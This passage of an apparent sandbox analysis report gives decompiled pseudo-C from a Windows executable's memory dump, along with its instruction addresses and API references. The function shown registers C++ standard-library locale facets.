															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																L0049D90B(0x4d6966, _t696, _t716);
																L00488DEA( &_v20, 0);
																_t717 =  *0x4edde8; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t717;
																_t697 = E0042B315(_a8, E0042B22E(0x4edd94, _t696, _t717, __eflags));
																__eflags = _t697;
																if(_t697 != 0) {
																	L33:
																	L00488E42( &_v20);
																	return L0049D8D4(_t697);
																} else {
																	__eflags = _t717;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E1ED(_t697, _t717, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			L0049D90B(0x4d6966, _t697, _t717);
																			L00488DEA( &_v20, 0);
																			_t718 =  *0x4ede20;
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t718;
																			_t698 = E0042B315(_a8, E0042B22E(0x4eddc4, _t697, _t718, __eflags));
																			__eflags = _t698;
																			if(_t698 != 0) {
																				L40:
																				L00488E42( &_v20);
																				return L0049D8D4(_t698);
																			} else {
																				__eflags = _t718;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E255(_t698, _t718, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						L0049D90B(0x4d6966, _t698, _t718);
																						L00488DEA( &_v20, 0);
																						_t719 =  *0x4ede1c;
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t719;
																						_t699 = E0042B315(_a8, E0042B22E(0x4eddc0, _t698, _t719, __eflags));
																						__eflags = _t699;
																						if(_t699 != 0) {
																							L47:
																							L00488E42( &_v20);
																							return L0049D8D4(_t699);
																						} else {
																							__eflags = _t719;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E2D9(_t699, _t719, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									L0049D90B(0x4d6966, _t699, _t719);
																									L00488DEA( &_v20, 0);
																									_t720 =  *0x4eddf0;
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t720;
																									_t700 = E0042B315(_a8, E0042B22E(0x4edd9c, _t699, _t720, __eflags));
																									__eflags = _t700;
																									if(_t700 != 0) {
																										L54:
																										L00488E42( &_v20);
																										return L0049D8D4(_t700);
																									} else {
																										__eflags = _t720;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E35E(_t700, _t720, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												L0049D90B(0x4d6966, _t700, _t720);
																												L00488DEA( &_v20, 0);
																												_t721 =  *0x4eddec;
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t721;
																												_t701 = E0042B315(_a8, E0042B22E(0x4edd98, _t700, _t721, __eflags));
																												__eflags = _t701;
																												if(_t701 != 0) {
																													L61:
																													L00488E42( &_v20);
																													return L0049D8D4(_t701);
																												} else {
																													__eflags = _t721;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E3E2(_t701, _t721, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															L0049D90B(0x4d6966, _t701, _t721);
																															L00488DEA( &_v20, 0);
																															_t722 =  *0x4ede00;
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t722;
																															_t702 = E0042B315(_a8, E0042B22E(0x4edda4, _t701, _t722, __eflags));
																															__eflags = _t702;
																															if(_t702 != 0) {
																																L68:
																																L00488E42( &_v20);
																																return L0049D8D4(_t702);
																															} else {
																																__eflags = _t722;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E467(_t702, _t722, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		L0049D90B(0x4d6966, _t702, _t722);
																																		L00488DEA( &_v20, 0);
																																		_t723 =  *0x4eddd0;
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t723;
																																		_t703 = E0042B315(_a8, E0042B22E(0x4edd7c, _t702, _t723, __eflags));
																																		__eflags = _t703;
																																		if(_t703 != 0) {
																																			L75:
																																			L00488E42( &_v20);
																																			return L0049D8D4(_t703);
																																		} else {
																																			__eflags = _t723;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E4CF(_t703, _t723, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					L0049D90B(0x4d6966, _t703, _t723);
																																					L00488DEA( &_v20, 0);
																																					_t724 =  *0x4ede04;
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t724;
																																					_t704 = E0042B315(_a8, E0042B22E(0x4edda8, _t703, _t724, __eflags));
																																					__eflags = _t704;
																																					if(_t704 != 0) {
																																						L82:
																																						L00488E42( &_v20);
																																						return L0049D8D4(_t704);
																																					} else {
																																						__eflags = _t724;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E537(_t704, _t724, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								L0049D90B(0x4d6966, _t704, _t724);
																																								L00488DEA( &_v20, 0);
																																								_t725 =  *0x4eddd4;
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t725;
																																								_t705 = E0042B315(_a8, E0042B22E(0x4edd80, _t704, _t725, __eflags));
																																								__eflags = _t705;
																																								if(_t705 != 0) {
																																									L89:
																																									L00488E42( &_v20);
																																									return L0049D8D4(_t705);
																																								} else {
																																									__eflags = _t725;
																																									if(__eflags == 0) {
																																										_push(_a8);
																																										_push( &_v16);
																																										__eflags = E0048E59F(_t705, _t725, __eflags) - 0xffffffff;
																																										if(__eflags == 0) {
																																											E0042B042(__eflags);
																																											asm("int3");
																																											_push(8);
																																											L0049D90B(0x4d6966, _t705, _t725);
																																											L00488DEA( &_v20, 0);
																																											_t726 =  *0x4ede08;
																																											_v4 = _v4 & 0x00000000;
																																											_v16 = _t726;
																																											_t706 = E0042B315(_a8, E0042B22E(0x4eddac, _t705, _t726, __eflags));
																																											__eflags = _t706;
																																											if(_t706 != 0) {
																																												L96:
																																												L00488E42( &_v20);
																																												return L0049D8D4(_t706);
																																											} else {
																																												__eflags = _t726;
																																												if(__eflags == 0) {
																																													_push(_a8);
																																													_push( &_v16);
																																													__eflags = E0048E607(_t706, _t726, __eflags) - 0xffffffff;
																																													if(__eflags == 0) {
																																														E0042B042(__eflags);
																																														asm("int3");
																																														_push(8);
																																														L0049D90B(0x4d6966, _t706, _t726);
																																														L00488DEA( &_v20, 0);
																																														_t727 =  *0x4eddd8;
																																														_v4 = _v4 & 0x00000000;
																																														_v16 = _t727;
																																														_t707 = E0042B315(_a8, E0042B22E(0x4edd84, _t706, _t727, __eflags));
																																														__eflags = _t707;
																																														if(_t707 != 0) {
																																															L103:
																																															L00488E42( &_v20);
																																															return L0049D8D4(_t707);
																																														} else {
																																															__eflags = _t727;
																																															if(__eflags == 0) {
																																																_push(_a8);
																																																_push( &_v16);
																																																__eflags = E0048E682(_t707, _t727, __eflags) - 0xffffffff;
																																																if(__eflags == 0) {
																																																	E0042B042(__eflags);
																																																	asm("int3");
																																																	_push(8);
																																																	L0049D90B(0x4d6966, _t707, _t727);
																																																	L00488DEA( &_v20, 0);
																																																	_t728 =  *0x4ede24;
																																																	_v4 = _v4 & 0x00000000;
																																																	_v16 = _t728;
																																																	_t708 = E0042B315(_a8, E0042B22E(0x4eddc8, _t707, _t728, __eflags));
																																																	__eflags = _t708;
																																																	if(_t708 != 0) {
																																																		L110:
																																																		L00488E42( &_v20);
																																																		return L0049D8D4(_t708);
																																																	} else {
																																																		__eflags = _t728;
																																																		if(__eflags == 0) {
																																																			_push(_a8);
																																																			_push( &_v16);
																																																			__eflags = E0048E6FD(_t708, _t728, __eflags) - 0xffffffff;
																																																			if(__eflags == 0) {
																																																				E0042B042(__eflags);
																																																				asm("int3");
																																																				_push(8);
																																																				L0049D90B(0x4d6966, _t708, _t728);
																																																				L00488DEA( &_v20, 0);
																																																				_t729 =  *0x4eddf4;
																																																				_v4 = _v4 & 0x00000000;
																																																				_v16 = _t729;
																																																				_t709 = E0042B315(_a8, E0042B22E(0x4edda0, _t708, _t729, __eflags));
																																																				__eflags = _t709;
																																																				if(_t709 != 0) {
																																																					L117:
																																																					L00488E42( &_v20);
																																																					return L0049D8D4(_t709);
																																																				} else {
																																																					__eflags = _t729;
																																																					if(__eflags == 0) {
																																																						_push(_a8);
																																																						_push( &_v16);
																																																						__eflags = E0048E769(_t709, _t729, __eflags) - 0xffffffff;
																																																						if(__eflags == 0) {
																																																							E0042B042(__eflags);
																																																							asm("int3");
																																																							_push(8);
																																																							L0049D90B(0x4d6966, _t709, _t729);
																																																							L00488DEA( &_v20, 0);
																																																							_t730 =  *0x4ede28;
																																																							_v4 = _v4 & 0x00000000;
																																																							_v16 = _t730;
																																																							_t710 = E0042B315(_a8, E0042B22E(0x4eddcc, _t709, _t730, __eflags));
																																																							__eflags = _t710;
																																																							if(_t710 != 0) {
																																																								L124:
																																																								L00488E42( &_v20);
																																																								return L0049D8D4(_t710);
																																																							} else {
																																																								__eflags = _t730;
																																																								if(__eflags == 0) {
																																																									_push(_a8);
																																																									_push( &_v16);
																																																									__eflags = E0048E7D5(_t710, _t730, __eflags) - 0xffffffff;
																																																									if(__eflags == 0) {
																																																										E0042B042(__eflags);
																																																										asm("int3");
																																																										_push(8);
																																																										L0049D90B(0x4d6966, _t710, _t730);
																																																										L00488DEA( &_v20, 0);
																																																										_t731 =  *0x4eddf8;
																																																										_v4 = _v4 & 0x00000000;
																																																										_v16 = _t731;
																																																										_t711 = E0042B315(_a8, E0042B22E(0x4edd78, _t710, _t731, __eflags));
																																																										__eflags = _t711;
																																																										if(_t711 != 0) {
																																																											L131:
																																																											L00488E42( &_v20);
																																																											return L0049D8D4(_t711);
																																																										} else {
																																																											__eflags = _t731;
																																																											if(__eflags == 0) {
																																																												_push(_a8);
																																																												_push( &_v16);
																																																												_t440 = E0048E849(_t711, _t731, __eflags);
																																																												_pop(_t634);
																																																												__eflags = _t440 - 0xffffffff;
																																																												if(__eflags == 0) {
																																																													E0042B042(__eflags);
																																																													asm("int3");
																																																													_push(_t731);
																																																													_t732 = _t634;
																																																													_t230 = _t732 + 0x10;
																																																													 *_t230 =  *(_t732 + 0x10) & 0x00000000;
																																																													__eflags =  *_t230;
																																																													 *((intOrPtr*)(_t732 + 0x14)) = 7;
																																																													 *_t732 = 0;
																																																													L00494BE0( *((intOrPtr*)(_t756 + 8)));
																																																													return _t732;
																																																												} else {
																																																													_t711 = _v16;
																																																													_v16 = _t711;
																																																													_v4 = 1;
																																																													E0048919D(_t711);
																																																													 *0x4f02b4();
																																																													 *((intOrPtr*)( *((intOrPtr*)( *_t711 + 4))))();
																																																													 *0x4eddf8 = _t711;
																																																													goto L131;
																																																												}
																																																											} else {
																																																												_t711 = _t731;
																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t710 = _v16;
																																																										_v16 = _t710;
																																																										_v4 = 1;
																																																										E0048919D(_t710);
																																																										 *0x4f02b4();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t710 + 4))))();
																																																										 *0x4ede28 = _t710;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t710 = _t730;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t709 = _v16;
																																																							_v16 = _t709;
																																																							_v4 = 1;
																																																							E0048919D(_t709);
																																																							 *0x4f02b4();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t709 + 4))))();
																																																							 *0x4eddf4 = _t709;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t709 = _t729;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t708 = _v16;
																																																				_v16 = _t708;
																																																				_v4 = 1;
																																																				E0048919D(_t708);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t708 + 4))))();
																																																				 *0x4ede24 = _t708;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t708 = _t728;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t707 = _v16;
																																																	_v16 = _t707;
																																																	_v4 = 1;
																																																	E0048919D(_t707);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t707 + 4))))();
																																																	 *0x4eddd8 = _t707;
																																																	goto L103;
																																																}
																																															} else {
																																																_t707 = _t727;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t706 = _v16;
																																														_v16 = _t706;
																																														_v4 = 1;
																																														E0048919D(_t706);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t706 + 4))))();
																																														 *0x4ede08 = _t706;
																																														goto L96;
																																													}
																																												} else {
																																													_t706 = _t726;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t705 = _v16;
																																											_v16 = _t705;
																																											_v4 = 1;
																																											E0048919D(_t705);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t705 + 4))))();
																																											 *0x4eddd4 = _t705;
																																											goto L89;
																																										}
																																									} else {
																																										_t705 = _t725;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t704 = _v16;
																																								_v16 = _t704;
																																								_v4 = 1;
																																								E0048919D(_t704);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t704 + 4))))();
																																								 *0x4ede04 = _t704;
																																								goto L82;
																																							}
																																						} else {
																																							_t704 = _t724;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t703 = _v16;
																																					_v16 = _t703;
																																					_v4 = 1;
																																					E0048919D(_t703);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t703 + 4))))();
																																					 *0x4eddd0 = _t703;
																																					goto L75;
																																				}
																																			} else {
																																				_t703 = _t723;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t702 = _v16;
																																		_v16 = _t702;
																																		_v4 = 1;
																																		E0048919D(_t702);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t702 + 4))))();
																																		 *0x4ede00 = _t702;
																																		goto L68;
																																	}
																																} else {
																																	_t702 = _t722;
																																	goto L68;
																																}
																															}
																														} else {
																															_t701 = _v16;
																															_v16 = _t701;
																															_v4 = 1;
																															E0048919D(_t701);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t701 + 4))))();
																															 *0x4eddec = _t701;
																															goto L61;
																														}
																													} else {
																														_t701 = _t721;
																														goto L61;
																													}
																												}
																											} else {
																												_t700 = _v16;
																												_v16 = _t700;
																												_v4 = 1;
																												E0048919D(_t700);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t700 + 4))))();
																												 *0x4eddf0 = _t700;
																												goto L54;
																											}
																										} else {
																											_t700 = _t720;
																											goto L54;
																										}
																									}
																								} else {
																									_t699 = _v16;
																									_v16 = _t699;
																									_v4 = 1;
																									E0048919D(_t699);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t699 + 4))))();
																									 *0x4ede1c = _t699;
																									goto L47;
																								}
																							} else {
																								_t699 = _t719;
																								goto L47;
																							}
																						}
																					} else {
																						_t698 = _v16;
																						_v16 = _t698;
																						_v4 = 1;
																						E0048919D(_t698);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t698 + 4))))();
																						 *0x4ede20 = _t698;
																						goto L40;
																					}
																				} else {
																					_t698 = _t718;
																					goto L40;
																				}
																			}
																		} else {
																			_t697 = _v16;
																			_v16 = _t697;
																			_v4 = 1;
																			E0048919D(_t697);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t697 + 4))))();
																			 *0x4edde8 = _t697;
																			goto L33;
																		}
																	} else {
																		_t697 = _t717;
																		goto L33;
																	}
																}
															} else {
																_t696 = _v16;
																_v16 = _t696;
																_v4 = 1;
																E0048919D(_t696);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t696 + 4))))();
																 *0x4ede18 = _t696;
																goto L26;
															}
														} else {
															_t696 = _t716;
															goto L26;
														}
													}
												} else {
													_t695 = _v16;
													_v16 = _t695;
													_v4 = 1;
													E0048919D(_t695);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t695 + 4))))();
													 *0x4edde4 = _t695;
													goto L19;
												}
											} else {
												_t695 = _t715;
												goto L19;
											}
										}
									} else {
										_t694 = _v16;
										_v16 = _t694;
										_v4 = 1;
										E0048919D(_t694);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t694 + 4))))();
										 *0x4ede14 = _t694;
										goto L12;
									}
								} else {
									_t694 = _t714;
									goto L12;
								}
							}
						} else {
							_t693 = _v16;
							_v16 = _t693;
							_v4 = 1;
							E0048919D(_t693);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t693 + 4))))();
							 *0x4edde0 = _t693;
							goto L5;
						}
					} else {
						_t693 = _t713;
						goto L5;
					}
				}
			}

0x0048c551
0x0048c558
0x0048c562
0x0048c567
0x0048c572
0x0048c576
0x0048c582
0x0048c587
0x0048c58b
0x0048c5d0
0x0048c5d3
0x0048c5df
0x0048c58d
0x0048c58f
0x0048c595
0x0048c59b
0x0048c5a3
0x0048c5a6
0x0048c5e0
0x0048c5e5
0x0048c5e6
0x0048c5ed
0x0048c5f7
0x0048c5fc
0x0048c607
0x0048c60b
0x0048c61c
0x0048c61e
0x0048c620
0x0048c665
0x0048c668
0x0048c674
0x0048c622
0x0048c622
0x0048c624
0x0048c62a
0x0048c630
0x0048c638
0x0048c63b
0x0048c675
0x0048c67a
0x0048c67b
0x0048c682
0x0048c68c
0x0048c691
0x0048c69c
0x0048c6a0
0x0048c6b1
0x0048c6b3
0x0048c6b5
0x0048c6fa
0x0048c6fd
0x0048c709
0x0048c6b7
0x0048c6b7
0x0048c6b9
0x0048c6bf
0x0048c6c5
0x0048c6cd
0x0048c6d0
0x0048c70a
0x0048c70f
0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c746
0x0048c748
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9
0x0048c63d
0x0048c63d
0x0048c640
0x0048c644
0x0048c648
0x0048c655
0x0048c65d
0x0048c65f
0x00000000
0x0048c65f
0x0048c626
0x0048c626
0x00000000
0x0048c626
0x0048c624
0x0048c5a8
0x0048c5a8
0x0048c5ab
0x0048c5af
0x0048c5b3
0x0048c5c0
0x0048c5c8
0x0048c5ca
0x00000000
0x0048c5ca
0x0048c591
0x0048c591
0x00000000
0x0048c591
0x0048c58f

APIs

__EH_prolog3.LIBCMT ref: 0048C558
std::_Lockit::_Lockit.LIBCPMT ref: 0048C562

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

messages.LIBCPMT ref: 0048C59C
std::_Facet_Register.LIBCPMT ref: 0048C5B3
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C5D3
Concurrency::cancel_current_task.LIBCPMT ref: 0048C5E0

Memory Dump Source

Source File: 00000001.00000002.918164934.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registermessages
String ID:
API String ID: 37379925-0
Opcode ID: 4bc7748a17087faf90baa822c35de2aba4e76ee606fdce50e0855399620bb9bb
